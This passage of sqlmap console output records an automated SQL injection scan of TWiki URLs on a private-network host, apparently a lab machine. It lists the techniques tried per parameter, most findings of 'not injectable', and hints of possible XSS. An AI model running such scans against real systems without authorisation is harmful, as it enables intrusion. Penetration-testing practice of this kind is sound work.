5.0.11 stacked queries (SELECT - comment)' [19:10:03] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:10:03] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:10:04] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:10:04] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:10:05] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:10:06] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:10:06] [INFO] testing 'Oracle AND time-based blind' [19:10:07] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:10:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:10:23] [WARNING] GET parameter 'param1' is not injectable [19:10:23] [INFO] testing if GET parameter 'param2' is dynamic [19:10:23] [WARNING] GET parameter 'param2' does not appear dynamic [19:10:23] [WARNING] heuristic (basic) test shows that GET parameter 'param2' might not be injectable [19:10:23] [INFO] testing for SQL injection on GET parameter 'param2' [19:10:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:10:25] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:10:25] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:10:26] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:10:26] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:10:27] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:10:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:10:28] [INFO] testing 'MySQL inline queries' [19:10:28] [INFO] testing 'PostgreSQL inline queries' [19:10:28] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:10:28] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:10:29] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:10:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:10:30] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:10:30] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:10:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:10:32] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:10:32] [INFO] testing 'Oracle AND time-based blind' [19:10:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:10:40] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:10:48] [WARNING] GET parameter 'param2' is not injectable [19:10:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:10:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=r1.20' [19:10:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebHome?rev1=1.19&rev2=1.18' [19:10:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?rev=1.18' [19:10:48] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/oops/Main/WebHome?template=oopsmore¶m1=1.20¶m2=1.20' URL 82: GET http://192.168.1.113:80/twiki/bin/view/Main/WebHome?unlock=on do you want to test this URL? [Y/n/q] Y [19:10:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebHome?unlock=on' [19:10:48] [INFO] testing connection to the target URL [19:10:49] [INFO] testing if the target URL is stable [19:10:49] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:10:49] [INFO] testing if GET parameter 'unlock' is dynamic [19:10:50] [WARNING] GET parameter 'unlock' does not appear dynamic [19:10:50] [WARNING] heuristic (basic) test shows that GET parameter 'unlock' might not be injectable [19:10:50] [INFO] testing for SQL injection on GET parameter 'unlock' [19:10:50] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:10:52] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:10:52] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:10:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:10:54] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:10:55] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:10:55] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:10:55] [INFO] testing 'MySQL inline queries' [19:10:56] [INFO] testing 'PostgreSQL inline queries' [19:10:56] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:10:56] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:10:56] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:10:57] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:10:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:10:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:10:59] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:11:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:11:01] [INFO] testing 'Oracle AND time-based blind' [19:11:02] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:11:02] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:11:11] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:11:21] [WARNING] GET parameter 'unlock' is not injectable [19:11:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 83: GET http://192.168.1.113:80/twiki/bin/rename/Main/WebHome?currentwebonly=on do you want to test this URL? [Y/n/q] Y [19:11:21] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rename/Main/WebHome?currentwebonly=on' [19:11:21] [INFO] testing connection to the target URL [19:11:21] [INFO] testing if the target URL is stable [19:11:22] [INFO] target URL is stable [19:11:22] [INFO] testing if GET parameter 'currentwebonly' is dynamic [19:11:22] [WARNING] GET parameter 'currentwebonly' does not appear dynamic [19:11:22] [WARNING] heuristic (basic) test shows that GET parameter 'currentwebonly' might not be injectable [19:11:22] [INFO] testing for SQL injection on GET parameter 'currentwebonly' [19:11:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:11:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:11:24] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:11:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:11:25] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:11:26] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:11:26] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:11:26] [INFO] testing 'MySQL inline queries' [19:11:26] [INFO] testing 'PostgreSQL inline queries' [19:11:27] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:11:27] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:11:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:11:28] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:11:28] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:11:29] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:11:30] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:11:30] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:11:31] [INFO] testing 'Oracle AND time-based blind' [19:11:33] [INFO] GET parameter 'currentwebonly' seems to be 'Oracle AND time-based blind' injectable it looks like the back-end DBMS is 'Oracle'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y for the remaining tests, do you want to include all tests for 'Oracle' extending provided level (1) and risk (1) values? [Y/n] Y [19:11:33] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [19:11:33] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [19:11:47] [INFO] checking if the injection point on GET parameter 'currentwebonly' is a false positive [19:11:48] [WARNING] false positive or unexploitable injection point detected [19:11:48] [WARNING] GET parameter 'currentwebonly' is not injectable [19:11:48] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 84: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web Home[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:11:48] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text&web=all;®ex=on&search=Web Home[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:11:48] [INFO] testing connection to the target URL [19:11:50] [INFO] testing if the target URL is stable [19:11:50] [INFO] target URL is stable [19:11:50] [INFO] testing if URI parameter '#1' is dynamic [19:11:51] [INFO] confirming that URI parameter '#1*' is dynamic [19:11:52] [INFO] URI parameter '#1*' is dynamic [19:11:52] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:11:53] [INFO] testing for SQL injection on URI parameter '#1*' [19:11:53] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:11:54] [WARNING] reflective value(s) found and filtering out [19:12:07] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:12:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:12:14] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:12:18] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:12:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:12:28] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:12:28] [INFO] testing 'MySQL inline queries' [19:12:29] [INFO] testing 'PostgreSQL inline queries' [19:12:33] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:12:34] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:12:34] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more) [19:12:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:12:42] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:12:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:12:50] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:12:55] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:13:00] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:13:07] [INFO] testing 'Oracle AND time-based blind' [19:13:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:13:12] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:14:04] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:14:19] [WARNING] URI parameter '#1*' is not injectable [19:14:19] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 85: GET http://192.168.1.113:80/twiki/bin/edit/Main/WebNotify?t=1441456882 do you want to test this URL? [Y/n/q] Y [19:14:19] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/edit/Main/WebNotify?t=1441456882' [19:14:19] [INFO] testing connection to the target URL [19:14:20] [INFO] testing if the target URL is stable [19:14:20] [INFO] target URL is stable [19:14:20] [INFO] testing if GET parameter 't' is dynamic [19:14:20] [WARNING] GET parameter 't' does not appear dynamic [19:14:21] [WARNING] heuristic (basic) test shows that GET parameter 't' might not be injectable [19:14:21] [INFO] testing for SQL injection on GET parameter 't' [19:14:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:14:22] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:14:22] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:14:22] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:14:23] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:14:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:14:24] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:14:24] [INFO] testing 'MySQL inline queries' [19:14:24] [INFO] testing 'PostgreSQL inline queries' [19:14:24] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:14:24] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:14:24] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:14:25] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:14:25] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:14:26] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:14:26] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:14:27] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:14:27] [INFO] testing 'Oracle AND time-based blind' [19:14:28] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:14:28] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:14:33] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:14:39] [WARNING] GET parameter 't' is not injectable [19:14:39] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 86: GET http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Notify[^A-Za-z] do you want to test this URL? [Y/n/q] Y [19:14:39] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/search/Main/SearchResult?scope=text®ex=on&search=Web Notify[^A-Za-z]' custom injection marking character ('') found in option '-u'. Do you want to process it? [Y/n/q] Y [19:14:39] [INFO] testing connection to the target URL [19:14:40] [INFO] testing if the target URL is stable [19:14:40] [INFO] target URL is stable [19:14:40] [INFO] testing if URI parameter '#1' is dynamic [19:14:40] [WARNING] URI parameter '#1*' does not appear dynamic [19:14:41] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable [19:14:41] [INFO] testing for SQL injection on URI parameter '#1*' [19:14:41] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:14:41] [WARNING] reflective value(s) found and filtering out [19:14:42] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:14:42] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:14:42] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:14:43] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:14:43] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:14:44] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:14:44] [INFO] testing 'MySQL inline queries' [19:14:44] [INFO] testing 'PostgreSQL inline queries' [19:14:44] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:14:44] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:14:45] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:14:45] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:14:46] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:14:46] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:14:47] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:14:47] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:14:48] [INFO] testing 'Oracle AND time-based blind' [19:14:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:14:48] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:14:54] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:15:01] [WARNING] URI parameter '#1*' is not injectable [19:15:01] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 87: GET http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?skin=print do you want to test this URL? [Y/n/q] Y [19:15:01] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?skin=print' [19:15:01] [INFO] testing connection to the target URL [19:15:01] [INFO] testing if the target URL is stable [19:15:02] [INFO] target URL is stable [19:15:02] [INFO] testing if GET parameter 'skin' is dynamic [19:15:02] [INFO] confirming that GET parameter 'skin' is dynamic [19:15:03] [INFO] GET parameter 'skin' is dynamic [19:15:03] [INFO] heuristics detected web page charset 'ascii' [19:15:03] [WARNING] heuristic (basic) test shows that GET parameter 'skin' might not be injectable [19:15:03] [INFO] testing for SQL injection on GET parameter 'skin' [19:15:03] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:15:03] [WARNING] reflective value(s) found and filtering out [19:15:04] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:15:04] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:15:05] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:15:05] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:15:06] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:15:06] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:15:06] [INFO] testing 'MySQL inline queries' [19:15:06] [INFO] testing 'PostgreSQL inline queries' [19:15:06] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:15:06] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:15:07] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:15:07] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:15:08] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:15:08] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:15:08] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:15:09] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:15:09] [INFO] testing 'Oracle AND time-based blind' [19:15:10] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:15:10] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:15:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:15:21] [WARNING] GET parameter 'skin' is not injectable [19:15:21] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 88: GET http://192.168.1.113:80/twiki/bin/rdiff/Main/WebNotify?rev1=1.8&rev2=1.7 do you want to test this URL? [Y/n/q] Y [19:15:21] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebNotify?rev1=1.8&rev2=1.7' [19:15:21] [INFO] testing connection to the target URL [19:15:21] [INFO] testing if the target URL is stable [19:15:22] [INFO] target URL is stable [19:15:22] [INFO] testing if GET parameter 'rev1' is dynamic [19:15:22] [WARNING] GET parameter 'rev1' does not appear dynamic [19:15:22] [WARNING] heuristic (basic) test shows that GET parameter 'rev1' might not be injectable [19:15:22] [INFO] testing for SQL injection on GET parameter 'rev1' [19:15:22] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:15:23] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:15:23] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:15:24] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:15:24] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:15:25] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:15:25] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:15:25] [INFO] testing 'MySQL inline queries' [19:15:26] [INFO] testing 'PostgreSQL inline queries' [19:15:26] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:15:26] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:15:26] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:15:27] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:15:27] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:15:27] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:15:28] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:15:28] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:15:29] [INFO] testing 'Oracle AND time-based blind' [19:15:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:15:29] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:15:35] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:15:42] [WARNING] GET parameter 'rev1' is not injectable [19:15:42] [INFO] testing if GET parameter 'rev2' is dynamic [19:15:42] [WARNING] GET parameter 'rev2' does not appear dynamic [19:15:42] [WARNING] heuristic (basic) test shows that GET parameter 'rev2' might not be injectable [19:15:42] [INFO] testing for SQL injection on GET parameter 'rev2' [19:15:42] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:15:43] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:15:43] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:15:44] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:15:44] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:15:45] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:15:45] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:15:46] [INFO] testing 'MySQL inline queries' [19:15:46] [INFO] testing 'PostgreSQL inline queries' [19:15:46] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:15:46] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:15:46] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:15:47] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:15:47] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:15:48] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:15:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:15:49] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:15:49] [INFO] testing 'Oracle AND time-based blind' [19:15:50] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:15:56] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:16:02] [WARNING] GET parameter 'rev2' is not injectable [19:16:02] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL URL 89: GET http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=1.7 do you want to test this URL? [Y/n/q] Y [19:16:02] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=1.7' [19:16:02] [INFO] testing connection to the target URL [19:16:03] [INFO] testing if the target URL is stable [19:16:04] [INFO] target URL is stable [19:16:04] [INFO] testing if GET parameter 'rev' is dynamic [19:16:04] [INFO] confirming that GET parameter 'rev' is dynamic [19:16:04] [INFO] GET parameter 'rev' is dynamic [19:16:04] [WARNING] heuristic (basic) test shows that GET parameter 'rev' might not be injectable [19:16:04] [INFO] heuristic (XSS) test shows that GET parameter 'rev' might be vulnerable to XSS attacks [19:16:04] [INFO] testing for SQL injection on GET parameter 'rev' [19:16:04] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [19:16:04] [WARNING] reflective value(s) found and filtering out [19:16:05] [INFO] testing 'MySQL >= 5.0 boolean-based blind - Parameter replace' [19:16:06] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause' [19:16:06] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [19:16:07] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause' [19:16:07] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [19:16:08] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace' [19:16:08] [INFO] testing 'MySQL inline queries' [19:16:08] [INFO] testing 'PostgreSQL inline queries' [19:16:08] [INFO] testing 'Microsoft SQL Server/Sybase inline queries' [19:16:08] [INFO] testing 'MySQL > 5.0.11 stacked queries (SELECT - comment)' [19:16:08] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [19:16:09] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [19:16:09] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [19:16:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (SELECT)' [19:16:10] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind' [19:16:11] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind' [19:16:11] [INFO] testing 'Oracle AND time-based blind' [19:16:12] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns' [19:16:12] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms' [19:16:18] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns' [19:16:23] [WARNING] GET parameter 'rev' is not injectable [19:16:23] [ERROR] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment'), skipping to the next URL [19:16:23] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/rdiff/Main/WebNotify?rev1=1.7&rev2=1.6' [19:16:23] [INFO] skipping 'http://192.168.1.113:80/twiki/bin/view/Main/WebNotify?rev=1.6' URL 90: GET http://192.168.1.113:80/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.8¶m2=1.8 do you want to test this URL? [Y/n/q] Y [19:16:23] [INFO] testing URL 'http://192.168.1.113:80/twiki/bin/oops/Main/WebNotify?template=oopsmore¶m1=1.8¶m2=1.8' [19:16:23] [INFO] testing connection to the target URL [19:16:24] [INFO] testing if the target URL is stable [19:16:25] [WARNING] target URL is not stable. sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' and provide a string or regular expression to match on how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [19:16:25] [INFO] testing if GET parameter 'template' is dynamic [19:16:25] [INFO] confirming that GET parameter 'template' is dynamic [19:16:25] [INFO] GET parameter 'template' is dynamic [19:16:25] [WARNING] heuristic (basic) test shows that GET parameter 'template' might not be injectable [19:16:25] [INFO] heuristic (XSS) test shows that GET parameter 'template' might be vulnerable to XSS attacks [19:16:25] [INFO] testing for SQL injection on GET parameter 